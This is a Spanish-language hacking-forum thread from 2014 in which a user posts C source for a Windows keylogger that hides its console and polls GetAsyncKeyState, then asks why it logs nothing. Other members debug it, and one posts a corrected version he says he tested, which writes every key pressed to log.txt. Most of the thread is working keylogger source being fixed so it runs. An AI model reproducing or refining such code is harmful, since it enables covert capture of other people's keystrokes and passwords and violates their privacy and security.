Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: kutcher en 13 Septiembre 2014, 02:44 am



Título: Keylogger queda ejecutándose en un while infinito
Publicado por: kutcher en 13 Septiembre 2014, 02:44 am
Buenas, tengo el siguiente programa :

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. int main(void)
  6. {
  7.    FILE *f;
  8.    int i, n = 0;
  9.    int line[256];
  10.  
  11.    FreeConsole();
  12.  
  13.    if(! (f = fopen("log.txt", "ab+")))
  14.        return EXIT_FAILURE;
  15.  
  16.    while(1)
  17.    {
  18.        for(i = 0; i < 255; i++)
  19.        {
  20.            if(GetAsyncKeyState(i) == -32767)
  21.            {
  22.                if( n < 255)
  23.                    line[n++] = i;
  24.                else
  25.                {
  26.                    line[n] = '\0';
  27.                    fprintf(f, "%s\n", line);
  28.                    n = 0;
  29.                }
  30.            }
  31.        }
  32.        Sleep(2);
  33.    }
  34.    fclose(f);
  35.  
  36.    return EXIT_SUCCESS;
  37. }
  38.  

Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente

Saludos kutcher


Título: Re: Keylogger queda ejecutándose en un while infinito
Publicado por: engel lex en 13 Septiembre 2014, 02:57 am
si, es un loop infinito... es un keylogger no? que quieres más que haga?


Título: Re: Keylogger queda ejecutándose en un while infinito
Publicado por: kutcher en 13 Septiembre 2014, 04:09 am
que quieres más que haga?

Lo mismo me pregunto? según veo debería ir almacenando en un txt los caracteres que se vayan presionado mientras esto suceda pero nada.. aparte te pediría que si no tienes argumentos suficientes para replicar de una manera u otra que de tal forma me sea útil tu respuesta; en cambio al no ser este el caso no me respondas pregunta por preguntas obvias

Saludos kutcher





Título: Re: Keylogger queda ejecutándose en un while infinito
Publicado por: engel lex en 13 Septiembre 2014, 05:31 am
no se :P realmente no se como funciona el lio con GetAsyncKeyState si quieres buscate la documentacion...

por aqui igual hay un tema de keylogger... el codigo está un poco dañado por el foro, pero seguramente puedes leerlo
http://foro.elhacker.net/buscador2-t419324.0.html;msg1957917#msg1957917 (http://foro.elhacker.net/buscador2-t419324.0.html;msg1957917#msg1957917)


Título: Re: Keylogger queda ejecutándose en un while infinito
Publicado por: BloodSharp en 13 Septiembre 2014, 05:45 am
Hay un pequeño detalle que msdn menciona respecto a GetAsyncKeyState  (http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx)y que indica que si la tecla que le pasás por parámetro está presionada el valor de retorno (en su bit menos significativo (http://es.wikipedia.org/wiki/Bit_menos_significativol)) si es distinto a cero significa que la tecla fue presionada...

Habiendo explicado eso podrías probar lo siguiente:
Código
  1. if(GetAsyncKeyState(tecla)&1)
  2. {
  3.     //tecla presionada codigo
  4. }
  5. else
  6. {
  7.    //tecla no fue presionada codigo
  8. }

Por otra parte usar un bucle infinito para capturar teclas es un asesinato de cpu espectacular lo cual el proceso consumiría una banda de uso del/los procesador/es de tu pc, lo ideal sería capturar las teclas mediante mensajes del sistema operativo ya que de esa forma optimizarías el uso de tu programa con respecto a los otros procesos.


B#


Título: Re: Keylogger queda ejecutándose en un while infinito
Publicado por: engel lex en 13 Septiembre 2014, 05:56 am
el usa un sleep de 2ms... aunque es muy corto, es suficiente...

pero
Citar
most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

no quise opinar porque decía que no se debe confiar en este comportamiento... y de todas todos los key que he visto por aqui usan ese metodo... no se que otro pueden usar tampoco


Título: Re: Keylogger queda ejecutándose en un while infinito
Publicado por: BloodSharp en 13 Septiembre 2014, 06:05 am
Ups me confundí era el bit más signficativo, había leido solamente la parte del bit menos significativo que menciona a que se si se presiona después de que la rutina es llamada :P respecto a ese comportamiento supongo que es por compatibilidad para versiones de windows prehistoricas... En todo caso debería ser:
Código
  1. if(GetAsyncKeyState(tecla)&0x80000000)
  2. {
  3. //presionado
  4. }
  5. else
  6. {
  7. //no presionado
  8. }

EDIT: Ahí lo miré y modifiqué un poco el código, lo probé y funciona con MINGW
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. #define MAX_VIRTUALKEY 0xFF
  6.  
  7. char szKeyIntegerFormat[]="%i ";
  8.  
  9. BOOL InsertKey(int key)
  10. {
  11.     FILE *lpFile;
  12.     if((lpFile=fopen("log.txt","a")))
  13.     {
  14.         printf(szKeyIntegerFormat,key);
  15.         fprintf(lpFile,szKeyIntegerFormat,key);
  16.         fclose(lpFile);
  17.         return TRUE;
  18.     }
  19.     return FALSE;
  20. }
  21.  
  22. int main(void)
  23. {
  24.    int iVirtualKey;
  25.    //FreeConsole();
  26.    while(TRUE)
  27.    {
  28.        for(iVirtualKey=0;iVirtualKey<MAX_VIRTUALKEY;iVirtualKey++)
  29.            if(GetAsyncKeyState(iVirtualKey)&0x80000000)
  30.                if(!InsertKey(iVirtualKey))
  31.                    return EXIT_FAILURE;
  32.        Sleep(100);
  33.    }
  34.    return EXIT_SUCCESS;
  35. }


B#